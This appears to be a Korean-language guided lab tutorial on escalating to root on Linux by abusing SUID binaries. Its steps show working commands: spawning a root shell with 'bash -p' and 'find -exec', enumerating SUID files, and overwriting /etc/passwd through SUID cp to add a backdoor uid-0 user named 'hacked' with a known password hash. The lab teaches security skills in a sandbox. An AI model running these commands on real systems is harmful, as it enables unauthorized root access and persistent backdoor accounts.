Linux 에서 SUID 바이너리 악용하여 권한 상승

NmapBeginner
지금 연습하기

소개

이 랩에서는 SUID (Set user ID upon execution) 권한에 대해 배우고, 이를 활용하여 Linux 시스템에서 권한 상승을 수행하는 방법을 익힙니다. 목표는 bash, find, cp, mv 명령어를 포함한 다양한 기술을 사용하여 SUID 바이너리를 악용하여 root 권한을 얻는 것입니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 95%입니다.학습자들로부터 96%의 긍정적인 리뷰율을 받았습니다.

SUID 이해

이 단계에서는 SUID 권한의 개념과 그 의미를 이해합니다.

일반적으로 Linux 에서 프로그램이 실행될 때, 현재 사용자의 권한으로 실행됩니다. 하지만 cp와 같은 일부 프로그램은 제한된 디렉토리로 파일을 복사하는 등 특정 작업을 수행하기 위해 높은 권한이 필요합니다. 일반 사용자가 이러한 프로그램을 높은 권한으로 실행할 수 있도록 하기 위해, 실행 파일에 SUID 권한을 설정할 수 있습니다.

SUID 는 "Set user ID upon execution"의 약자입니다. 파일에 SUID 권한이 설정되어 있으면, 이를 실행하는 사용자에 관계없이 소유자의 권한으로 실행됩니다. 예를 들어, cp 명령어는 root 사용자가 소유하고 SUID 비트가 설정되어 있어, 모든 사용자가 root 권한으로 실행할 수 있습니다.

cp 명령어에 대한 SUID 권한을 확인하고 출력을 파일에 저장하려면 다음 명령을 실행합니다.

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

다음 명령을 사용하여 suid_cp.txt 파일의 내용을 확인합니다.

cat /home/labex/project/suid_cp.txt

예상 출력:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

권한 비트에 s가 표시되어 SUID 권한이 있음을 나타냅니다.

SUID 는 일반 사용자가 특정 권한이 필요한 명령을 실행할 수 있도록 하는 데 유용할 수 있지만, SUID 바이너리가 시스템 명령을 실행하거나 파일을 수정하는 기능을 제공하는 경우 악용될 수도 있습니다.

bash 를 이용한 SUID 악용

이 단계에서는 권한 상승을 위해 SUID 권한이 있는 bash 명령어를 악용하는 방법을 배웁니다.

  1. 먼저, 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project

    bash 명령어의 권한을 확인합니다.

    ls -l /bin/bash

    예상 출력:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. bash 명령어에 SUID 비트가 설정되어 있는 경우, 다음 명령어를 사용하여 root 권한으로 시스템 명령을 실행할 수 있습니다.

    bash -p

    whoami를 사용하여 root 쉘을 가지고 있는지 확인할 수 있습니다.

    whoami

    예상 출력:

    root
  3. 이제 /root 디렉토리에 root.txt라는 파일을 생성하고 파일의 내용을 확인합니다.

    touch /root/root.txt

    /root 디렉토리에서 root.txt 파일을 확인할 수 있습니다.

find 명령어를 이용한 SUID 악용

이 단계에서는 권한 상승을 위해 SUID 권한이 있는 find 명령어를 악용하는 방법을 배웁니다.

이전 단계 이후, root 쉘을 가지고 있어야 합니다. 이 단계를 위해서는 exit 명령어나 '새 터미널 열기'를 통해 root 쉘에서 로그아웃하고 다시 labex 사용자로 로그인해야 합니다.

  1. 먼저, /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project

    find 명령어의 권한을 확인합니다.

    ls -l /usr/bin/find

    find 명령어에 SUID 비트가 설정되어 있으면, 이를 활용하여 root 권한으로 시스템 명령을 실행할 수 있습니다.

  2. find를 사용하여 명령을 실행하는 구문은 다음과 같습니다.

    find < file > -exec < command > \;

    여기서 <file>은 어떤 파일이든 될 수 있습니다. test라는 파일을 생성해 보겠습니다.

    touch test
  3. 이제 find를 사용하여 명령을 실행할 수 있습니다.

    find test -exec whoami \;

    이렇게 하면 whoami 명령어가 root 권한으로 실행됩니다. 하지만 이 방법은 ssh 또는 su와 같은 대화형 명령에는 편리하지 않습니다.

  4. 더 편리한 root 쉘을 얻으려면 /bin/bash 명령어를 실행할 수 있습니다.

    find test -exec /bin/bash -p \;

    참고: 유효 사용자 ID (EUID) 를 유지하고 실제 사용자 ID (RUID) 로 재설정되는 것을 방지하려면 -p 플래그가 필요합니다.

  5. 이제 root 쉘을 갖게 됩니다. /root 디렉토리에 root.txt라는 파일을 생성하고 파일의 내용을 확인합니다.

    touch /root/root.txt

    /root 디렉토리에서 root.txt 파일을 확인할 수 있습니다.

cp 및 mv 명령어를 이용한 SUID 악용

이 단계에서는 /etc/passwd 또는 /etc/shadow 파일을 수정하여 권한 상승을 위해 SUID 권한이 있는 cpmv 명령어를 악용하는 방법을 배웁니다.

이전 단계 이후, root 쉘을 가지고 있어야 합니다. 이 단계를 위해서는 exit 명령어나 '새 터미널 열기'를 통해 root 쉘에서 로그아웃하고 다시 labex 사용자로 로그인해야 합니다.

  1. 먼저, /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project

    cp 명령어의 권한을 확인합니다.

    ls -l /bin/cp

    cp 명령어에 SUID 비트가 설정되어 있으면 악용을 진행할 수 있습니다.

  2. /etc/passwd의 내용을 홈 디렉토리의 파일로 복사합니다.

    cat /etc/passwd > /home/labex/project/passwd
  3. 다음 세부 정보로 새 사용자 항목을 생성합니다.

    • 사용자 이름: hacked
    • 비밀번호: pass123

    /home/labex/project/passwd 파일의 끝에 다음 줄을 삽입합니다.

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  4. 이제 SUID 권한이 있는 cp 명령어를 사용하여 /etc/passwd 파일을 덮어씁니다.

    cp /home/labex/project/passwd /etc/passwd
  5. 파일을 덮어쓴 후, su 명령어를 사용하여 비밀번호 pass123으로 hacked 사용자로 전환할 수 있습니다.

    su hacked

    hacked 사용자는 사용자 ID (uid) 가 0이므로 root 권한을 갖게 됩니다.

mv 명령어에 대한 악용 방법은 cp와 유사합니다. 직접 시도해 볼 수 있습니다.

SUID 바이너리 찾기

이 단계에서는 권한 상승을 위해 악용될 수 있는 시스템에서 SUID 바이너리를 찾는 방법을 배웁니다.

  1. SUID 비트가 설정된 모든 실행 파일을 나열하려면 다음 명령어를 사용할 수 있습니다.

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. 다음 단계를 수행하려면 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
  3. 시스템에서 SUID 바이너리를 나열하고 출력을 분석하려면 명령어 중 하나를 선택합니다.

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    시스템의 SUID 바이너리 목록을 보려면 check_results.txt 파일의 내용을 확인합니다.

    cat check_results.txt

    그러나 출력에는 권한 상승을 위해 악용될 수 없는 많은 파일이 포함될 수 있으므로 수동 분석이 필요합니다.

요약

이 랩에서는 SUID 권한에 대해 배우고, Linux 시스템에서 권한 상승을 위해 bash, find, cp, mv와 같은 다양한 SUID 바이너리를 활용하는 방법을 익혔습니다. 이러한 바이너리를 악용하여 root 액세스를 얻는 실질적인 경험을 얻었으며, 이는 사이버 보안 분야에서 중요한 기술입니다. 이 랩은 실제 시나리오를 제공하고, 기술을 효과적으로 이해하고 적용하기 위한 단계를 안내했습니다.